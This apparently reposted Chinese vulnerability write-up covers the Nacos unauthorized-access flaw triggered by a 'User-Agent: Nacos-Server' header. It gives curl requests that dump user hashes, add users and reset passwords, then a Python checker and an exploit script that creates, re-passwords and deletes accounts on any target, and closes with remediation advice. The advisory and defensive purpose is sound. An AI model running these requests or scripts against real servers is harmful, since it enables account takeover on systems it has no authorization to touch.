标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3060]   作者: 羽毛 发表于: [2022-04-02]

本文共 [142] 位读者顶过

漏洞简介

Nacos是一套帮助发现、配置和管理微服务的程序。提供一组简单易用的特性集,能够快速的实现动态服务发现、服务配置、服务元数据以及流量管理。

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

https://github.com/alibaba/nacos/issues/1105

在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。

危害等级:高危

影响范围 : Nacos <= 2.0.0-ALPHA.1

漏洞检测

漏洞环境:

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

环境启动:

# 压缩包解压后,进入启动目录;
root@vul:~/7_tar# cd nacos/bin/

root@vul:~/7_tar/nacos/bin# ls
derby.log  logs  shutdown.cmd  shutdown.sh  startup.cmd  startup.sh  work

# 启动单节点模式;
./startup.sh -m standalone # Linux
.\startup.cmd -m standalone # Windows

访问地址:

访问http://127.0.0.1:8848/nacos即可看到登录页面;
用户名:密码 naocs:nacos

未授权访问漏洞验证:

┌──(root@kali)-[~]
└─# curl -X GET 'http://10.0.0.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent:Nacos-Server'

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

# 有的文章中表示,需要在头中加"User-Agent:Nacos-Server"才行,但在我的环境里不加也可以执行

未授权添加用户:

┌──(root@kali)-[~]
└─# curl -X POST 'http://10.0.0.128:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server'

{"code":200,"message":"create user ok!","data":null}

┌──(root@kali)-[~]
└─# curl -XPOST 'http://10.0.0.128:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server'

caused: user 'test1' already exist!;

# 测试用户已添加完成,且不可用相同请求手段进行密码覆盖

验证结果:

┌──(root@kali)-[~]
└─#  curl -X GET 'http://10.0.0.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent:Nacos-Server'
{"totalCount":2,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"},{"username":"test1","password":"$2a$10$UslBazd8.Upm68hg3VV.jee9zMzqGcF10yJp3Sc6LecrIqW4U3npC"}]}

通过网页访问的方式也可以登录;

修改已有用户的密码:

┌──(root@kali)-[~]
└─# curl -X PUT 'http://10.0.0.128:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'
{"code":200,"message":"update user ok!","data":null}

接口设计:

以下接口涉及到登录和鉴权的所有逻辑,这些接口除了登录接口,其他接口都只能由全局管理员来调用。

用户管理
创建用户:POST /nacos/v1/auth/users?username=xx&password=yy
删除用户:DELETE /nacos/v1/auth/users?username=xx&password=yy
更新用户:PUT /nacos/v1/auth/users?username=xx&oldPassword=yy&newPassword=zz
登录:POST /nacos/v1/auth/users/login?username=xxx&password=yyy

角色管理
创建角色/绑定用户到角色:POST /nacos/v1/auth/roles?role=xx&username=yy
删除某个用户的角色:DELETE /nacos/v1/auth/roles?role=xx&username=yy
获取用户的所有角色:GET /nacos/v1/auth/roles?username=xxx

权限管理
给角色添加权限:POST /nacos/v1/auth/permissions?role=xxx&resource=yyy&action=zzz
从角色删除权限:DELETE /nacos/v1/auth/permissions?role=xxx&resource=yyy&action=zzz
获取某个角色的权限:GET /nacos/v1/auth/permissions?role=xxx

poc:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:No.2768

import requests
import re
import json
import sys

Headers = {
        "User-Agent": "Nacos-Server",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9"
        }

def Poc1_Unauth(Url2):
        Url3 = Url2 + "/v1/auth/users"
#        print(Url3)
        Params = "pageNo=1&pageSize=9"
        
        try:
                req1 = requests.get(Url3, params = Params, headers = Headers)

#                print(req1.text)
                if '"username":' in req1.text:
                        print("\033[0;31;40m[+]\033[0m Found Unauthorized Access:", Url3)
                else:
                        print("\033[0;32;40m[+]\033[0m Not Found Unauthorized Access:", Url3)
        except Exception as e:
                print(e)


def Check_Nacos(Url1):
        Url2 = Url1 + "/nacos"
        try:
                req1 = requests.get(Url2, headers = Headers)
                if req1.status_code == 200:
                        Poc1_Unauth(Url2)
                else:
                        print("no service: nacos") 
                        return 2
        except Exception as e:
                print(e)
        
if __name__ == "__main__":
    Ip_Addr = sys.argv[1]
    Port = sys.argv[2]
    Url1 = "http://" + Ip_Addr + ":" + Port
#    print(Url1)
    Check_Nacos(Url1)

exp:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:2768

import requests
import re
import json
import sys

Headers = {
    "User-Agent": "Nacos-Server",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9"
    }

def Exp1_AddUser(Url0):
    Url1 = Url0 + "/nacos/v1/auth/users"
    #print(Url1)
    UserName = "test1"
    Data1 = {
        "username":UserName, 
        "password":UserName
        }
    try:
        req1 = requests.post(Url1, data = Data1, headers = Headers)
        #print(req1.status_code)
        #print(req1.text)
        if (req1.status_code == 400) and ("exist!" in req1.text):
            print("user '%s' already exist!" %UserName)
        elif (req1.status_code == 200) and ("ok!" in req1.text):
            print("create user '%s' ok!" %UserName)
        else:
            print("failed to add user")
    except Exception as e:
            print(e)

def Exp2_ChangePasswd(Url0):
    Url2 = Url0 + "/nacos/v1/auth/users"
    UserName = "test1" # 同样可以修改管理员用户:nacos的密码;
    #print(Url2)
    Data2 = {
        "accessToken":"",
        "username":UserName,
        "newPassword":"123456"
        }
    #print(Data2)
    try:
        req2 = requests.put(Url2, data = Data2, headers = Headers)
        #print(req2.status_code)
        #print(req2.text)
        if (req2.status_code == 200) and ("ok!" in req2.text):
            print("update user '%s' ok!" %UserName)
        else:
            print("failed to change password")
    except Exception as e:
                print(e)

def Exp4_DeleteUser(Url0):
    Url4 = Url0 + "/nacos/v1/auth/users"
    #print(Url4)
    UserName = "test1"
    Params4 = {
        "username":UserName
        }
    try:
        req4 = requests.delete(Url4, params = Params4)
        #print(req4.status_code)
        #print(req4.text)
        if (req4.status_code == 200) and (" ok!" in req4.text):
            print("delete user '%s' ok!" %UserName)
        else:
            print("delete user error")
    except Exception as e:
        print(e)

if __name__ == "__main__":
    Ip_Addr = sys.argv[1]
    Port = sys.argv[2]
    Url0 = "http://" + Ip_Addr + ":" + Port
#    print(Url0)
    Exp1_AddUser(Url0)
    Exp2_ChangePasswd(Url0)
#    Exp3_PrivilegePromotion(Url0) # nacos的管理员角色(ROLE_ADMIN)不能添加用户,构建失败,只能根据具体情况进行构建
    Exp4_DeleteUser(Url0)

更多exp可以根据自己需要编写;

漏洞修复

使用白名单的方式限制可以访问的主体;

目前官方已发布新版本,升级nacos版本:https://github.com/alibaba/nacos/;

漏洞环境

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

参考:

  • https://github.com/alibaba/nacos

  • https://www.istt.org.cn/NewsDetail/2412948.html

  • https://www.6b8.me/index.php?m=home&c=article&a=index&id=469

  • https://www.pianshen.com/article/22841075750/

来自FreeBuf.COM[出自:jiwo.org]

评论

暂无
发表评论
 返回顶部 
热度(142)
 关注微信